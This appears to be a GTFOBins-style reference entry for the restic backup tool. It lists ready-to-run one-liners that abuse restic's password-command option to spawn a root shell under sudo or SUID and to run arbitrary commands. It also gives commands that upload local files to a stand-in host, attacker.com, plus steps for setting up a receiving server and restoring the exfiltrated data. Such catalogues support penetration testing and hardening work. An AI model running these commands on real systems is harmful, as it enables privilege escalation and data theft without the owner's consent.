restic | bokkapig

Shell

This executable can spawn an interactive system shell.

Unprivileged
This function can be performed by any unprivileged user.
```
RESTIC_PASSWORD_COMMAND='/bin/sh -c "/bin/sh 0<&2 1<&2"' restic backup
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
RESTIC_PASSWORD_COMMAND='/bin/sh -c "/bin/sh 0<&2 1<&2"' restic backup
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
RESTIC_PASSWORD_COMMAND='/bin/sh -p -c "/bin/sh -p 0<&2 1<&2"' restic backup
```
Unprivileged
This function can be performed by any unprivileged user.
```
restic --password-command='/bin/sh -c "/bin/sh 0<&2 1<&2"' backup
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
restic --password-command='/bin/sh -c "/bin/sh 0<&2 1<&2"' backup
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
restic --password-command='/bin/sh -p -c "/bin/sh -p 0<&2 1<&2"' backup
```

Command

This executable can run non-interactive system commands.

Unprivileged
This function can be performed by any unprivileged user.
```
RESTIC_PASSWORD_COMMAND='/path/to/command' restic backup
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
RESTIC_PASSWORD_COMMAND='/path/to/command' restic backup
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
RESTIC_PASSWORD_COMMAND='/path/to/command' restic backup
```
OutputThe commands are executed but their output is hidden from the attacker.
Unprivileged
This function can be performed by any unprivileged user.
```
restic --password-command='/path/to/command' backup
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
restic --password-command='/path/to/command' backup
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
restic --password-command='/path/to/command' backup
```
OutputThe commands are executed but their output is hidden from the attacker.

Upload

This executable can upload local data.

Unprivileged
This function can be performed by any unprivileged user.
```
restic backup -r rest:http://attacker.com:12345/x /path/to/input-file
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
restic backup -r rest:http://attacker.com:12345/x /path/to/input-file
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
restic backup -r rest:http://attacker.com:12345/x /path/to/input-file
```
Receiver
The attacker must setup a server to receive the backups, in the following example rest-server is used but there are other options. To start a new instance and create a new repository use:
```
rest-server --listen :12345
restic init -r rest:http://localhost:12345/x
```
After the command executed on the target, to extract the data from the restic repository in the current directory on the attacker side:
```
restic restore -r /tmp/restic/x latest --target .
```